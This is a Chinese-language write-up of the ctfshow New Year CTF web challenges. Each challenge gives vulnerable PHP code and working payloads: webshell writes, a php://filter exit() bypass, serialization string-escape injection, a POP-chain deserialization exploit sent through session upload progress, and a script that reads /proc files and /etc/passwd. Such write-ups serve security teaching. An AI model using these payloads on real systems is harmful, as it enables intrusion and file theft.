ctfshow 新春迎新赛
热身
<?php
eval($_GET['f']);
直接写一句话:?f=file_put_contents('2.php','<?php eval($_REQUEST[1]);highlight_file(__FILE__);?>');
phpinfo():[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1kJ5vCl2-1644563627932)(http://images2.5666888.xyz//image-20220208175645977.png)]
有一个包含,这个文件下面就是flag
可以直接cat tac
思路二:
查看当前页面的变量,直接出flag
?f=print_r(get_defined_vars());
web1
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
这不就是绕过死亡exit()嘛
2016年的时候p神就对这个问题提出了解决办法:https://www.leavesongs.com/PENETRATION/php-filter-magic.html 时代在进步:php://filter 绕过死亡file_put_content() base64 的编码小trick
有在线的rot13编码方便直接使用
网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php ========><?php @eval($_POST[cmd]);?>
web2
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。
<?php
highlight_file(__FILE__);
session_start();
echo session_id();
返回值为PHPSESSID中的内容
payload:
POST http://89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show/ HTTP/1.1
Host: 89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: log_Id_pv=5; PHPSESSID=HappyNewYear
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
session_id=session_id
web3
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
payload:
?1=session_start
?1=error_reporting
?1=json_last_error
json_last_error:如果有,返回 JSON 编码解码时最后发生的错误。
error_reporting:如果没有设置可选参数 level , error_reporting() 仅会返回当前的错误报告级别。
session_start:开启会话
这里有一个弱比较,我们来做一个试验:
<?php
$key = call_user_func('session_start');
var_dump($key);
if($key=='happy'){
var_dump($key);
echo "happy";
}else{
var_dump($val);
echo 'failed';
}
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:5:boolean true
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:8:boolean true
happy
这里有一个对key进行的转换,这里说白了就是需要 传入一个 函数 能返回1这种,类似 session_start ob_start
web4(回调函数处理后写🐎)
<?php
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。
?1=spl_autoload_extensions 生成 .inc,.php 文件(shell文件)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nJ8LKoT1-1644563627933)(http://images2.5666888.xyz//image-20220210153925921.png)]
web5
官方wp:发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入
<?php
error_reporting(0);
highlight_file(__FILE__);
include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);
$a = str_repeat('hu',524280);
web6
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['file']));
}
提示就是读日志了
配置文件 /etc/nginx/nginx.conf L2V0Yy9uZ2lueC9uZ2lueC5jb25m
访问日志 /var/log/nginx/access.log
他本来的样子:
<?php
$_SESSION['function'] = 'GET';
$_SESSION['file'] = base64_encode("/root/flag");
echo serialize($_SESSION);
//a:2:{s:8:"function";s:3:"GET";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
我们需要拼接的:
<?php
$_SESSION['file'] = base64_encode("/etc/nginx/nginx.conf");
echo serialize($_SESSION);
由于$_SESSION['file'] 位于变量覆盖之后,所以我们需要把他挤掉
<?php
$_SESSION['function'] = 'GET';
$_SESSION['ctfshow'] = 's:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}';
$_SESSION['filx'] = base64_encode("/root/flag");
echo serialize($_SESSION);
经过过滤处理:
缺少了7个字符会报错,需要我们伪造一下:
截取伪造序列:
;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
进行变量覆盖:
GET[_SESSION][ctfshow]=;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
同理:
GET[_SESSION][ctfshowdaniu]=0000";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
我需要做的是为过滤的字符串补充空位并合并
web7
index.php
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
链子比较常规:
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()
poc:
<?php
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));
?>
处理脚本:(建议直接加在poc的下面)
<?php
$b = '|O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}';
echo addslashes($b);
提交用的表单:
<!DOCTYPE html>
<html>
<body>
<form action="http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
用上述序列化字符串替换filename的内容,即可验证
/proc/{pid}/cmdline 是所有用户均可读的,可以编写脚本爆一下进程id的cmdline:
import requests
import time
def get_file(filename):
data="""-----------------------------17234128115294
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
-----------------------------17234128115294
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}"
Content-Type: text/plain
-----------------------------17234128115294--"""
r=requests.post(url='http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=---------------------------17234128115294','Cookie': 'PHPSESSID=73de676b0bc50d3d9a2de4c89cc5c1cf'})
return(r.text.encode()[1990:])
for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vi7EUTMA-1644563627933)(http://images2.5666888.xyz//image-20220211150208933.png)]
这里是在/proc/114/cmdline中:python3/app/server.py
//filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:14:\"/app/server.py\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
import os
app = Flask(__name__)
flag=open('/flag','r')
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
flag是在open之后被删的,而且还没有释放,所以可以在/proc/self/fd/下面找到,但是要有个能读文件的地方,/download/路由下面可以读文件,于是读取flag
filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:56:\"http://127.0.0.1:5000/download/?filename=/proc/self/fd/3\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试。
|